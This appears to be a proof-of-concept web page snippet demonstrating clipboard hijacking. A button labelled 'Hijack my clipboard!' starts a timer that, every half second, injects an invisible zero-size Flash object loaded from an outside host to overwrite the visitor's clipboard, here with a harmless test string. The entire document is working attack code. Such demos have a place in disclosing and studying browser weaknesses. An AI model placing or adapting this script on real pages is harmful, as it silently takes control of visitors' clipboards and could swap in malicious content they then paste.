<button onClick="Trigger_Attack();">Hijack my clipboard!</button>

<script>
var flashcopier = 'flashcopier';
if(!document.getElementById(flashcopier)) {
  var divholder = document.createElement('div');
  divholder.id = flashcopier;
  document.body.appendChild(divholder);
}

function Trigger_Attack() 
{
  setInterval("ClipBoard_Attack();",500);

}

function ClipBoard_Attack() {
  document.getElementById(flashcopier).innerHTML = '';
  var divinfo = '<embed src="http://www.openwaves.net/armorize_blog/dp.SyntaxHighlighter/'+
              'Scripts/clipboard.swf" FlashVars="clipboard='+ 
              encodeURIComponent("Hello from Wayne!") + 
              '" width="0" height="0" type="application/x-shockwave-flash"></embed>';
  document.getElementById(flashcopier).innerHTML = divinfo;
}
</script>